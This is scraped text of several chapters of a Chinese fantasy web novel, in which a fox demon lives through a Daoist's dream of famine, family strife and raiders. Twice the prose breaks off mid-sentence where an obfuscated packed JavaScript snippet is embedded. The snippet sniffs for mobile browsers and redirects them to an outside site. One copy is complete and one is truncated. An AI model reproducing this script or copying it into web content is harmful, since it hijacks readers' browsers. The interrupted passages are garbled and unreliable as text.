“哎呀不是。”长好指了指她自己的脑袋,“她这儿有点问题。”长好看了看房间,放低了声音,“而且听说长得很丑,不过你可不能嫌弃她,咱们可是花了一袋米才让人进门的。” “这都哪儿跟哪儿啊……”长垣没想理会她,拉开小妹正要走,说话间便见天忽然黑了下来。 一阵铃铛从幽远的小径传来,越来越近,越来越近……王婆子牵着一头驴,驴上骑着一个穿灰布衣裳,盖着打补丁的掉了色的粉布的姑娘,出现在了赵家门口。 长垣和长好都看了过去,还没开口,啪嗒一声,那新娘子就从驴上滚了下来。 “哎呦,这摔的。”王婆子赶忙上前扶她,那新娘子却似乎有些生气地甩开她,姿势有些怪异,他这才看到了她的手。她的手是被绑着的,她不是自愿的。 收回了目光,他道,“王婆,你把她带回去吧。” 那女子闻言似乎身体僵硬了一瞬,王婆趁机狠狠掐了她一把,威胁她听话,拉着她走到长垣跟前,“长垣小子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回答他的是那双笑盈盈的眼睛和柔软的嘴唇,他的心剧烈地跳动起来,像被电流从头到脚贯穿,扑通扑通地快要跳出心口。熟悉的感觉,隔靴搔痒的隐痛,让他几乎失去理智,沉浸在这一条河水的湍流中。 柳心望着长垣,过往的片段在她心头浮现,她抬起手看了看自己白皙的皮肤,还没有被烧焦……眼前的男子只有十三岁,长相和长垣一样,只是更显稚嫩。虽然……她这具身体也和他差不多。往昔之事如梦,那么现在她进入的就是长垣的梦了。 思及此,她对长垣笑了笑,“夫君记得在哪儿见过我?” 长垣听见这陌生的称呼,只觉得浑身不自在,打了个颤,脸色微红,“没,没什么,可能是我记错了。” 一贯淡定自若的道士转眼变成个小屁孩,动不动红脸,这局促的模样让她好笑,顿时起了逗弄他的心思。 她拿过摆在一旁的酒杯与他对饮下,而后将手伸去了他的衣领上解扣,长垣猛然向后退了一步,咳嗽了一声,“做…做什么?” 柳心勾了勾嘴角,“你娘给你娶媳妇没说过要做什么?” 他的脸唰得一下全红了,急急往后仰倒,一把推开柳心站了起来。 “我…你…,我不娶媳妇,你明天回去,我去把我姐姐带回来。” 他一边说着,一边抱了被子放到一张长椅上。 柳心滴溜溜眼一转,脸上显出凄惨,“我爹娘已经把我卖出去了,我已无家可归,夫君也要赶我走?” 她眼泪婆娑,似镜似水之间,偷觑长垣的反应。他眉头微皱,似乎想到了什么,竟然没再说什么。只是吹了灯,走到椅子上躺了下来。 柳心知道他这是答应下来,便脱了鞋上床,睡了一会,觉得有些冷。她才发觉在长垣的梦里,自己好像失去了法术,身体也和普通人一样了。 她翻了个身,对着椅子上那人道,“长垣,我冷。” 那背影没动,也没做声,才过去没多久,他不可能那么快睡着,显然是不愿意搭理她。她哼了一声,转回去,蜷成一团。死道士,到哪个年纪都这么冷冰冰。 20. 烧火 这一觉都因为太冷睡不踏实,她忽然惊醒,听见窸窸窣窣的声音从后间传来,柳心披上衣服往后院走去。 月光从瓦缝里照进来,有什么东西在动,一条红色的丝带在寒风中飘荡着,她皱着眉头走近了一些,忽然那张脸猛然转过来。 一张惨白的脸映入眼帘。 她的心猛地一跳,几乎喊出声来。那人却出了声,“嫂嫂,嘘,别告诉我娘和二哥。” 熟悉的声音让她定了定心,仔细一看,原来是长垣那个小妹,长好。她满手白粉,一边拍了拍,一边将面口袋封实。 “你在这做什么?”柳心问。 长好道,“我饿了。” 柳心想了想,“饿了我给你烧火?”她不会做饭。 长好摇摇头,“家里只剩这袋面了,娘不让我偷吃。” “只有这袋面?那菜呢?米肉,你们不养猪,不种菜吗?” “已经半个月没下雨了,菜都干死了,前阵子卖了猪换了米,现在吃得差不多了。” 柳心闻言打开了米缸盖子,果然连一瓢的深度都不到,米瓢和缸底摩擦发出干涩的声音。她扔了瓢,拍拍手,摸了摸长好的脑袋。“会生火吗?” 长好点了点头,柳心便抓了一把面粉到锅里,长好大惊,来不及阻止她:“嫂嫂,不行!” 柳心见她惊慌的样子,一边拿着锅铲一边问,“怎么不行?” “面粉本来就剩的不多,二哥要干活,这是留给二哥吃的。被娘知道我们偷吃,肯定要骂死我。” “嗨,这事和你没关,是我饿了炒来吃的。” 她在面粉里洒了点盐,翻炒出香味,盛进了碗里。长好看着满满一大碗,有些迟疑,她推了推示意柳心分一点儿。 柳心推了回去,“我不饿,小妹快吃吧,吃饱了就上床去,这天寒地冻地,冻着了更麻烦。” 长好有些感动,捧着碗香喷喷地吃了起来,殊不知柳心是真的没胃口。白面加盐,虽然以前也看人吃过,但她自己是从来没尝过这味道,也不想知道。反正不会好吃到哪去。 不过刚来这家就这样,看样子情况不妙啊。 “小妹,你不是说这儿闹饥荒,天儿不下雨么?那你哥天天出去干什么呀?” 长好抬起头,抹了把嘴角,“去山里打猎,顺便挖点野菜草药,拿镇子上去卖。好歹能换一点儿钱。” “长好,你在这儿做什么呢!” 袁氏把着一盏枯黄的油灯,拄着拐杖忽然出现在厨房门口,她只穿了一件单衣,整个人瘦得只剩骨头架子,皮肤皱巴巴的,显然是一脸病态。 长好有些害怕地望了柳心一眼,柳心道,“娘,长垣有点饿了,让我来给他弄点吃的。” 袁氏瞥了她一眼,虽知道是谎话,却没拆穿。只是对长好招招手,“知道你们饿,一家人就这点余量,还是省着点吧。” 柳心笑了笑,看她走进自己屋里,这才回了房间。一来一回出去一趟,身上裹满了寒气,她盯着躺在椅子上的长垣,一点一点将他手里的被子抽出。 到一半,他忽然睁开眼,抓住了被子。 “干什么?” “盖被子。” “我也冷。” …… “你是个男人。” “男人怎么了?男人也是人。” 柳心看着这小道士面不改色的样子,怒火蹭蹭上涨。索性和他抢了起来,谁也不撒手。 “那你上来跟我睡!”“凭什么?我已经把床让给你了。” 柳心使了吃奶的力气往自己那头扯,长垣也坐了起来紧紧攥着被子一角,僵持良久,柳心渐渐脱力,眼珠一转,猛然一松手,长垣整个人便向后连人带被子翻倒过去。 柳心见状哈哈大笑,俯身去拿被子脚下却不留神被绊倒,整个人扑在了长垣身上。 隔着一层薄棉被,柔软的重量落在了他身上,半明半暗之间,黑色的瞳孔中闪耀着水月般光辉。他的心猛然剧烈地跳动起来。 柳心的手磕在地上,有些许摩擦,扶着地一边站起来一边骂骂咧咧,“什么破椅子,拆了当柴烧得了。” 她躺到床上,背对着长垣,蜷缩成一团取暖。她这是真的恼了,没功夫和他逗弄玩闹。忍饥挨饿,这是从没有的事,如今轮到她了,做人的滋味真不好受!难怪那臭道士天天一门心思修炼。 正皱着眉头,身上却突然一暖,带着体温的被子落在了她身上。 她转过头,长垣已经飞快躺在了椅子上。小少年的身量还没长开,瘦瘦长长。躺在木椅上,看着怪可怜的。 她叹了口气,算了,毕竟他才十来岁,她一个百年的妖,懒得和他计较。 “哎,来这儿一起睡吧。”她拍了拍身边的位置,往后退了一步。长垣看了一眼她,却没做声,又扭过头去。 嘿!这死小子。 她直接上去拎着长垣拉他进了被子,一边给他像个老妈子似的包全乎,一边给自己掖好了被角。 长垣翻来覆去有些扭捏,被子里漏了风进来,她忍无可忍地踢了他一脚。 “这有什么的,我比你大两岁,你得喊我姐,实在不行,你就当你娘带着你睡觉呢。别叽叽歪歪的。” 身旁的人怔了怔,最终安分下来。 均匀的呼吸声响起,长垣睁开眼定定地看着她,他们到底在哪里见过? 天没全亮,柳心就听见了窸窸窣窣的声音,长垣从被子里爬起来穿上衣服,拿上背篓,她也坐了起来,原身似乎一直以来就没吃饱过饭,太饿。 “你去哪儿?” “去山里收前几天放的捕兽夹。” “我也去。” 长垣已经收拾妥当,看了一眼头发还乱糟糟的柳心,“你在家待着照顾娘吧,她身体不好,长好也要人照看,现在外面拐子多,别让她被拐跑了。” 他说着背了背篓,往山上走去。冬日的雾气还很重,露水沾在裤脚,脚脖子冰凉。今天已经是起的有些晚了,再晚一点,说不准就有人来偷走他的猎物。捕兽夹都长一个样,扯皮起来谁也说不清 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“饭都吃不饱了,可怜可怜你自己吧。” 柳心气结,一直回到家里,没跟他说话。 一共抓了两只野鸡,一只狐狸,一条蛇。收获颇丰,长垣却怎么也不肯放了那狐狸。他在一边砍柴,她隔着笼子逗弄着狐狸,心里盘算着偷偷放了它。 “别玩了,我和隔壁二毛借车明天上城里卖了它们,你去把饭做了。” 她冷哼一声,算是回应。 劈好的柴火堆在那里,她看了一眼,将它一股脑塞进灶口。只是火折子烧了一会,光冒烟不着火,她有些恼火。 她记得长好昨天怎么烧火来着…… 袁氏坐在床上,听见后院传来锅碗瓢盆的打杂声,有些担忧地喊来长好,“长好丫头,什么味儿啊,你去看看。” 长好也闻到一股烧焦的味道,走进厨房,一股浓烟就飘了过来,柳心手里拿着一瓢水,锅里生着大火,正要往里倒。 “阿嫂!别!” 话音刚落,一束火花直冲房梁。 …… 长垣回来的时候看到的就是这样一副场景,柳心头发散乱,满脸黑腻腻的,像被雷劈过。那口大灶盖了盖子,正在冒烟,长好一边收拾地上的碎片,一边叮嘱柳心不要乱踩。 他接过了小妹手里的扫帚,“长好,揉个面团,今晚吃面条。” 长好乖巧地点点头,柳心略有心虚地看了长垣一眼,他没责备她,接着和长好一块拉了面,下了面条。 氤氲的水汽一阵阵扑向冰冷的面孔,长垣看着大口大口吃着面条的女孩,目光一动。先前长好说她是个傻子,结果却这般好看又看着正常,现在才发现她连做饭都不会,蠢到能烧了屋子,果然脑子不好使。 吃得又多…… 长好懂事地低头喝着面汤,长垣心下已经有了主意,明天进城就要把她和大姐换回来。 21. 换回大姐 驴车咕噜噜在小道上转着,柳心逗弄着小狐狸,一边悠然欣赏着风景。 她昨天偷偷放了那只狐狸,分明长垣看起来很生气,过了一会却说要带她进城。这小子心里不知道打什么鬼主意。 长好停了车,将一笼子动物拎着下了车,往一处铺子走去,“你在这等我。” 长垣进了里面,她扒着门口死死盯着他,该不会是想把她扔在这,偷偷溜走?不,他花了钱的,该不会是想卖了她?然后去赎回他姐姐,这个可能性比较大…… 正想着,就见狭窄的巷子里两个人搓着手走了过来,他们上下瞥了她一眼,露出一个莫名的笑容。 “小姑娘,你这头上的花挺好看啊。” 柳心没搭理她,下一秒他们却直接朝她伸出了手,“跟我走,我带你买金子做的花去,比你这个更好看。” 柳心皱着眉头推开他们,要不是现在没有法术,非把他们抽得骨头渣子都不剩。她这点推搡在他们看来绵绵软软,毫无威慑力,反而尝到了甜头,一把抓住了她的手就往另一边扯。 “滚开,我夫君在里面,再扯他可要报官了。” “就是你夫君让我们带你来的,走吧,哥哥带你买花儿去~” 两人笑着,柳心在心里骂爹,死道士这是聋了吗,这么大声听不见?她大喊起来,“来人,杀人了!杀……” 长垣从屋里出来正看到两个汉子拉扯着柳心,拿着空笼子就朝他们砸了过去。 他们被猛然一砸,回头见是一个比自己矮半个头的瘦小少年,又是不屑又是愤怒,两人抓着他一拳打了过去。 “英雄救美,哼哼,也不看看自己什么样子,关你屁事啊!” 长垣肚子上挨了一拳头,先白了脸,根本没有力气反抗,“她是我娘子,你们识相的给我滚开。” 两人闻言哂笑起来,柳心这具身体大年龄虽然只比长垣大一岁,但女孩这个年纪长得快,个头窜得猛,看起来是一对姐弟模样。长垣脸上挨了两拳,似乎是故意的,接下来的每一拳都直往他脸上招呼,鼻子涌出血来,两人仍未停手。 柳心见长垣那模样实在凄惨,再打下去这小身板恐怕真遭不住了,趁他们不注意,跑进了长垣方才进的那家店铺,喊来了熟识的店家帮忙。 见人多了起来,两人这才慌忙丢下长垣一溜烟跑走。柳心小心翼翼地扶起长垣,拿湿帕子给他捂了好一会儿鼻子才止住了血。 她看着他这副样子,心中忽然浮现出一些残存的回忆碎片,在酒馆里,他也是这样固执地将她从那群人中间拉出来。在这个梦里,他们素不相识,仍旧是如此,这道士啊,不管对谁,都是这样,道心济天下....... 她不知怎么,觉得有些好笑,也不知道在笑什么。 “我被打了你很高兴?” 长垣也察觉到她的笑意,他觉得那笑容应该不是什么好事。 柳心敛了神色,一边给他手上的擦伤上药,“没有,只是我以为那两个人是你叫来的,我还以为你要把我丢在这儿呢。” 长垣看了她一眼,忽然起身朝牵驴的地方走去。柳心也匆忙跟了上去,“等等我,去哪儿?” 长垣骑着驴七拐八弯穿过好几条巷子,到了一处较荒僻的地方,敲了敲门。一个女子打开门,见了他眼中很是惊讶,惊讶之余,又带着几分愤怒。瞬时变了脸色就要关门。 长垣将手抵在门缝里,急切道:“阿姐,我是来带你回去的。”他另一只手拿出了方才卖野物换来的钱,一边道:“那个姑娘我也带来了,让王阿婆把她带回去,你跟我回家。” 长红瞥了一眼柳心,面色稍缓,但还是没打算请长垣进来,“我不回去。” 她语气带了些许嘲弄,“娘辛苦半辈子了,这饭都吃不上的时候都不忘记给你娶媳妇,别辜负了她的好意。” 长垣红了脸,颇为羞愧,“阿姐,我不要媳妇,我要阿姐。我只要咱们一家人在一起。你跟我回去吧,我真的不要她,也不是我跟娘说的。” 他似乎睡了很久很久,做了很长的一个梦,尽管现在已经记不起来,但等他醒来,袁氏就莫名其妙给他娶了个女孩回家,为了凑够这钱,还把大姐嫁给了一家鳏夫,那鳏夫听说都有三十好几了,克死了两个老婆,留下一个女孩儿在身边拖着。大姐才十八岁,怎么能嫁给这样的人! 长红脸上的愠怒似乎更重了,她冷笑一声,“我知道不是你要的,从小到大,哪件事不是爹娘替你置办妥当。逛庙会我想买串糖葫芦,两文一根儿爹娘骂我嘴馋,你就看了摊子上那烤肉串一眼,他们就给你买到手。平日吃饭,好肉好菜都是紧着你吃,我们多看一眼都要摔筷子。” 长垣闻言低下了头,眼中盈了泪水。 长红一说起来,似乎要将昔日的不满全都发泄出来,“赵长垣,不,林长垣......” 她说到此处,冷不丁笑了笑,看见长垣浑身一颤,满意地勾了嘴角,“你可真是爹娘的宝贝啊,你亲生爹娘把你寻了回去,又把你退了回来,我这才知道原来你不是亲生的,我以为这样你总该受冷落了吧。可是不,他们还巴巴地捧着你,比从前更甚,凑了一年的杀猪钱让你上学,给你买纸买书,盼着你将来有出息带着他们飞黄腾达......” 都说生恩不比养恩大,我算是从你们这看得实实的。” “阿姐,对不起.......”长红越说,他越是无地自容。 长红看着他,心中怒火翻涌,可是也确实不好对他发出,长垣对她们姐妹也确实是心疼的,有好吃的好玩的偷偷分给她们,放学回来先生讲的也都一字不拉地教给她们。她对他这般指责,确是毫无道理。只是虽然明白,感性的怒火却压抑不住,她深深吸了一口气,关上了门。 长垣缺铁了心要带她走,一把抓住了长红的手,“阿姐,跟我回去,你别怕,他们要多少钱我都给他们。” “我说了不走,你放开!赵长垣!” 长红的呼喊引来了里面的孩子的 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长红的神色既狰狞又带着一股疯狂的平静,“这样的家,这样的爹娘,你不害怕,我却是害怕,怕得不得了。你以为我嫁给大妞他爹是受了委屈,是可怜,我起初也这么想,后来就不了,他虽然年纪大,却知道对我好。钱在我手里管着,吃什么喝什么都由我想,吃两块肉不用人脸色,喝一碗汤不用让给弟妹,不用让着谁照顾谁。” 长红无知无觉地落下一滴泪来,她平静下来,擦了擦。 长垣面红耳赤,他知道那个谁是谁。 “小二,回去吧,以后也别来找我了。” 长垣始终低着头,却缓缓松开了手,长红走去将大妞抱起,临走前看了一眼柳心,从屋里拿出了一个油纸包给她,对长垣道:“带她回去吧,她也不容易,你不管她,回去了也终归是个死。” 长红关上门前的那个目光让她莫名打了个寒颤,明明只是个人类,她也不知道自己在害怕什么。撇去这些念头,闻了闻手里的东西,是牛角糖块。嘴上说着恨,心里还是记挂着这个弟弟的嘛...... 她心里嘀咕着,原来这家人还有这层龃龉在里面,平日这母慈子孝的,完全看不出来啊。也不怪长垣大姐这样,要是她,把长垣砍成八百块都不够的。 她回头看了一眼长垣,他呆呆地坐在车上,扶着空荡荡的笼子,似乎还在难过。清冽的寒风穿过山谷从面上拂过,两鬓的发丝也随之开心地舞动。长垣不高兴,她就开心。谁让这小子原来真想卖了她的。 不过她倒也无所谓,做梦嘛,既然她进了他的梦,就必然还会和他产生种种联系,用她换回他大姐,人之常情。 起初她还没有反应过来,但她自己从梦中醒来后就明白了,她喝多了酒,意识不受控制,魅气便四散开来编织出一场梦,将每个走进来的人都吸食进去。 梦中人会沉沦在自己内心深处的噩梦里,再度像洋葱一样一点一点被扒开,感受,痛苦,然后清醒。 长垣进了她的那个梦,试图改变她的过往,那么现在轮到她,他的过去有什么需要她来拯救的呢?或者说他内心深处的那个噩梦又是什么呢? 22. 第 22 章 回程的时候天已经开始黑了,和他们一样,许多乡下来的农户上城里卖了东西就赶着回家,或是过路的商客,大伙儿一块凑着出城。柳心觉得这样比一个人走小路安全,因此跟着他们走了大路。 长垣仍在后面出神,也不知道在想些什么,柳心驾了大半天的车,有些疲惫,手都被这粗糙的绳子磨红了,于是唤来长垣来替她。 “哎,别伤心了,吃块糖吧。你姐姐嘴上说着让你别再来找她,其实她心里还记挂着你们。过段日子你再去找她,她肯定就消气了。” 她看得明明白白的,别说是长垣了,就是亲手卖了她的爹娘,只要再过段日子到她面前哭哭啼啼,续续旧情,她指定还和人一家欢去。 长垣接过糖块,不知道想些什么,忽然问道:“你也是被你爹娘卖过来的,怎么不见你伤心过?” 他的眸子里已经不见了方才的萎靡,却带了一种探究,柳心心中警铃大作,坏了,这小子要是发觉她是个外来客,这梦就清醒了,她就看不到他内心深处的秘密了。不知道这个秘密,以后就拿捏不了他,她就得一辈子被他管着,憋屈至死! 她这样想着,立刻换上了一副状似低落又故作开怀的样子,“伤心有什么用,他们卖我,他们都不伤心,我却要替他们伤心。何况这世道,人人吃不饱饭,自己都自顾不暇了,哪还管得了别人。” “自己的孩子也算别人?”袁氏和赵父对他从小千般万般地照顾培养,虽然条件清贫,却不吝疼爱,他不好说他们什么,但对于他呢对自己大姐的做法,他也不甚理解。 “怎么不算?少爷,你要知道这世上人最看重的就是自己,孝顺慈爱都是强加在人身上为了稳住这么多人的一把好锁。多少人生孩子是因为自己的生活太好也想让孩子来享福?大多是自己过得不好,还有想要却得不到的,才想着要一个孩子来延续自己的希望。出生尚且如此,养大更是这样。说句不中听的,你爹娘对你比对自己亲闺女还好,就是因为你将来是要留在家里,留在他们身边的。照顾他们的是你,给他们名声的也是你,你的好坏就代表着他们的好坏,所以对你好就是对他们好。” 还有一句更狠的,她没对他说。看似他比姐妹两个重要,更得袁氏和赵氏的偏爱,实则他和长红长好一样,都不过是滋养他们的工具罢了,压根儿连个人都算不上。不过这道理掰扯得再清,终究不如自己去悟,何况长垣身为受益者,是无法真正体会到长好的处境的。她在这里没有法术,没有认识的人,她才不轻易去触他的眉头。万一被这人倒打一耙就惨了。 看着前面熙攘的人群,她换了个话题,“我怎么听见那前面有什么声音,你看,是不是商队打起来了?马车也不动了。” 长垣顺着她视线看去,忽见一阵黑影逐渐变大,前方车马上的人纷纷哭喊着往回撒开了腿跑着。他们渐渐听清了他们的呼喊,“杀人啦!蛮虏杀人啦!” 一个女人抱着孩子拼命跑着,却被紧追而来的长发扎辫子的蛮虏一甩绳索套住了脖子,那孩子哭个不停,他似乎有些嫌弃吵闹,一把用长枪插进了二人的胸腹中勾了回来。孩子和大人瞬时没了声响,怔怔地流出泪,脸上还带着惊恐的神情。 柳心目瞪口呆,震惊地看着这一幕,长垣先她反应过来,拉着她下了车就跑。一群人逃命似地跑了许久,等到官兵接到消息出来讨贼,她才从暗巷的一口破缸里爬出来。 捂着扑通扑通跳的心脏,见街上确实是安静下来,她终于敢出声问长垣,“刚刚是怎么回事?怎么突然来了这么多长辫子的人?” “是南蛮子,东凉与东流县接壤,东流这么久没下雨,东凉想必也一样,百谷不生,万物不长,他们向来动的多吃的也多,这会儿饿得受不住,所以结伴来这里侵扰百姓。” “那为什么放着马车不劫,拼命追着人跑?也不像求财的样子。” 长垣顿了顿,神色有些凝重,“对他们而言,金银不过是空物,东凉地广人稀,物资匮乏,要这些于事无补,他们的目的是那些人。” “人?” “他们要抢的食物就是我们这些人......” 柳心忽然一阵恶心,几乎要把方才吃下去的零嘴都吐出来。 吃人......那那个婴孩,还有那个妇人......他们要把她们带回去亸成肉,煮成食物吃进嘴里...... 就是妖族也很少有生吃人肉的,大多是吸食人的精元,更别提同类相食,而这些人类却比妖还残忍。 见柳心脸色不好,长垣道:“走吧,现在没事了,咱们快回家,这阵子都不要进城里来了,以免碰上这些人。” 蛮虏的出现只是一个征兆,东流县两月未雨,连树都开始出现枯萎的迹象。田地干裂如老翁的面庞,寸草不生,那片后山已经没有动物再愿意驻足,人和动物都一样,老的老,死的死。长垣一家仅剩的那点余粮终于见空,三个人半碗米倒下去煮成米汤才能分得均匀,就着快见底的咸菜干,长好拿筷子在里面夹走一大块,被袁氏一筷子打红了手背。 一个眼神扫来,长好乖乖收回了筷子,在口上舔了舔。 饭后,长好站在凳子上在锅里洗碗,柳心悄悄走去,将油纸包的糖拿了出来。 长好眼神一亮,随即又暗淡下去,“嫂嫂留着给二哥吧,二哥要干活,吃力气。” 柳心却把整块油纸都给了她......虽然也没剩多少,她在回程的路上吃得只剩下一小块了。 “干什么活啊,连根草都不长了,有什么活可干。你都瘦成干了,自己偷摸地吃了吧。” 长垣是个孝顺孩子,顾虑袁氏本就在病中,平时吃饭都要刻意留出几口给袁氏的,而况这糖给她不领受不说,长好想必还得挨顿骂,没这个必要。 “都给我?” 长好楞楞的,有些畏缩,柳心忽然蹲下来,她吓了一跳,却夺过她手里的糖块整个塞进了她嘴里。突如其来的,浓烈的麦芽糖的甜味席卷了整个口腔,长好觉得幸福得快要飘起来了。 含糊着说话,柳心像揉小狗似的,狠狠揉搓一把,又嫌弃地拍拍手走了。 长好楞楞地看着她,将口里的糖拿了出来,用水冲干净,晾干,又收进了那张油纸包里。 在此之前,水一直是不稀奇的,长好半夜饿得睡不着的时候,袁氏总是叫她拿了碗到水缸里舀水喝,喝饱了就不饿了。以至于她频频起夜,有时还要尿床,惹来袁氏的斥骂。 后来则是连水也没有了,院子里的井眼见地干枯下去,河里也只剩下泥滩,日渐干裂。柳心的身体一直在变化,从白皙到腊黄,像短命的栀子花一下子枯萎衰败。心理也在变化,从前从来不关心天象,是打雷下雨,是烈日当空,都与她没有半毛钱关系,毫不在意,现在也开始像那些凡人一样,一睁眼第一件事就是打开窗子张望天上的云。晴空万里,片云不见。 她失落地关上窗,咒骂了一句老天。好饿啊,从来没有尝过这种饥饿的滋味,肚子比脑袋还空,整天叫唤着。早饭是野菜梗,中饭是野菜饼,晚饭是腌咸菜,最多配一点米汤。要是能吃到香喷喷的大米饭就好了。 刚出锅的大米饭,还带着柴火的气味,最近山上的松树落了很多松针,碧绿碧绿的,带着醇厚的油脂味,拿它当柴火,烧出的米饭也带着这松香味。掀开那盖头,木板上水淋淋的滴落在表层的米饭里,面上一排饱满的整整齐齐的珍珠丝的米粒儿,锅底微微带着焦糊,菜刀砍下来煮汤,汤也变得带着金黄的香味...... 眼前一黑,一只虫子撞到了她眼睛里,她扔了小锄头,叫了起来。哈哈,她苦笑一声,梦醒了。 一双深黄的缎面鞋子映入了眼帘,一个老妇人身后跟着一个小子将两袋米,一袋土豆萝卜什么的放在了她跟前。 “你是赵家的吧?” 她抬头看了他们一眼,穿这么好,脸拉这么长,不像是赵家的亲戚。 “你有事找他们?” “这些东西你们带回去,收好了,这天儿下雨还早着呢,等到那群道士装神弄鬼地把雨求下来,人就没了。” “你是谁啊?“ “你就告诉长垣是老太太给的,他就知道了。“ 柳心没看出来,这小子身份还不一般,什么情况?不过不吃白不吃,她都要饿死了。 她兴冲冲地喊来长垣,让他帮忙把东西拖回去,预备晚上吃它两碗饭。长垣听了却把东西扛起,默不作声地推着小车走了。 “哎,你上哪儿去?他们早都坐车走了,你跟不上!“ 东西被送走了,她的肚子又开始叫了,长好献宝似的拿出她的小罐子,倒出十好几只大蚂蚁在她手上,睁着一双大眼睛看着她,“心姐,吃,可香了。” 她看着她眼巴巴的神情,硬着头皮吃了进去,扯出一抹苦笑。 夜里长垣回来,她忍不住白他,将一盆洗脸水蹬地摔在他面前,长垣皱着眉头看她。 她叉着腰瞪他:“你再看......再看揍你。” 说的不是假话,她自恃年长,长垣又瘦又小,真打起来,柳心倒真能单方面压制他。疯婆子,他心里道,继而语气不善,“你不也看我。” “你脸上有金子,不能看?” 长垣憋了一口闷气,不理她,擦了擦脸,一边脱了鞋子。 他顶嘴也不行,不说话也不行,左右她今天看着到嘴的鸭子飞了,要拿他出气。又凑上来道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056249|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道小妹今天吃的什么吗?她在床底下藏了口罐子,里面全是蚂蚁,在这么下去,怕是饿急眼了蜈蚣也能塞嘴里。” “人不吃饭是会饿死的饿,而且你不吃也要考虑考虑娘和小妹嘛。” “他们更不会吃。”长垣的声音带了些许冰冷。 柳心愣了愣,“什么?” “他们杀了爹,爹是被他们害死的。” “你是说李家?你的亲生父母?” 之前在长红那里的时候听过一耳朵,没想到这李家这么有钱呢,这种时候家里能拿出这么多存粮的也只有达官贵人了吧。不过他们之间又有什么恩怨呢?换做是她,当然要经常地走动,多门亲戚多条路嘛,何况还是亲爹娘。 “爹娘说我是从人贩子手里买回来的,那时候正是雪后的日子,一个男人把我背在背上,脸冻得通红,他们看我哭得可怜把我带回了家里......可是他们不这么认为,李家觉得我是被他们拐走的,那人贩子是和他们串通好的。” 柳心觉得这也很难说,毕竟十几年前的事,谁能说的清呢? “突然知道自己这么好的身世,应该很高兴吧,是因为你爹娘不让你去李家?” 长垣摇摇头,“娘是说什么也不肯的,还说把家里所有的钱都给他们,我亲娘已经去世,李老爷娶了续弦,生了一对儿女,娘说他们不一定非要我走,可他们只有我。爹虽然难受,但看着我找到亲生父母,有了好的前程,还是愿意把我送过去。“ “其实娘说的对,他们并不缺我这一个孩子,我去李家的那个晚上,老太太领着我到宗祠李跪拜,给老太爷上了香。我听见她说,‘老爷,孩子已经找到了,你的心愿可以了了,放心地走吧,别再挂念着家里了。’ 李家的弟弟妹妹身体不好,总是生病,李老爷和李夫人都很宠爱他们,他亲自教他们骑马,写字,给他们夹菜,说说笑笑。我一来,他们就不自在了。 但是好在宅子里书很多,都是我没见过的孤本,笔和纸都是香的,我记得有一次我在书房里看到一本好玩的书,李家的那个女孩上来就抢,撕破了一块角,她很生气地踢我,让我滚出李家,她问我还要在这里待多久,我回答不上来......” 柳心不自在地抬起头看月亮,心想,那李家的小孩真欠揍。也就是长垣这个闷葫芦,要是她,非揍得那小孩满地找牙不可。 “我突然想长好了,小妹那个时候正在长牙,大姐天天拎着她耳朵让她不许在外面跟人讨糖吃。我也想爹娘。于是我偷偷溜出门,当了我的玉佩,给他们买了花生糖,新衣服,烧鸡。我走的时候,娘既高兴又叹气。 我知道他们想什么,我也想他们。后来我常常溜出去找他们,每次回来都觉得很高兴,我以为他们不知道,其实他们早就发现了。” 长垣的脚在水盆里有一搭没一搭划拉着, “看看,又是才回来的。我就说什么人养什么孩子,这别人养大的就是不亲,老太太还非说是李家的种,这么多年了一直背着我找着,找到了吧,人家过得好好的,她必须得要回来。这一趟趟的,往那家搬东西,以后当了家做了主,哪还记得我们呐。李家的产业都得跟他赵家姓了。” 隔着门,李夫人的那身紫裙很是显眼,长垣推门的手顿了顿,没敢进去。 李老爷皱了皱眉,“我爹在的时候最疼这个长子,找到他是他的遗愿。何况这孩子还小,最容易听人哄骗,都是赵家机关算尽,想哄着他带拔他家。”他冷哼一声,“也不想想我李家是什么人户,非给他点颜色看看......” “后来呢?”柳心问。 “我听了这话就不敢出去了,直到有一天长好溜进来找我,说爹死了,娘很伤心。” 赵家原来是杀猪的,在村里还过得去,每天清晨把新鲜猪肉推到城里卖,傍晚回来。那天早上刚出去,就被人抓住一顿打,拉去了官府。说是他卖的瘟猪肉,吃死了人,要捉他见官去。 李家有钱能使鬼推磨,人抓进来就走不了,他向来老实,在牢里挨了好一顿挫磨,受了十几斤,回家之后就一直缠绵病榻,最后不治而亡。 “娘也是从那之后病倒的,大姐和小妹眼睛都哭肿了,每天又要办丧事又要照顾娘。我下了决心,什么荣华富贵,什么前程,都不如我们一家人在一块重要。所以,我和李家断了情分,今后就算是饿死,也不会和他们有半天牵扯。” 柳心沉默下来,攥着手里的衣裳,她不知道说什么。但是总觉得哪里不对劲。 长垣见她不说话,长叹了一口气,擦干了脚上了床。“会有办法的,朝廷已经派人下来赈灾了,青云山的道士也在设坛作法,这雨总是会下下来的......” 23. 吃点好的 柳心勉强压制住了那种饥饿的感觉,吃饭的时候她总要默念,这是一块肉,这是一块红烧肉,这是鸡肉,水煮鸡肉,牛肉...... “你嘟囔什么呢?快睡吧。” 长垣翻了个身,肚子发出一阵响。柳心放下了那块皮帽,算了,她是疯了才会对着这块牛皮幻想它煮熟的滋味。 正要起身,忽然一股奇异的香味从窗子里飘了进来,柳心开了个窗缝,远处王家的院落里隐隐有火光,开了火,厨房的烟囱里却不见烟。肯定就是偷偷在院里支了小锅烧菜了。 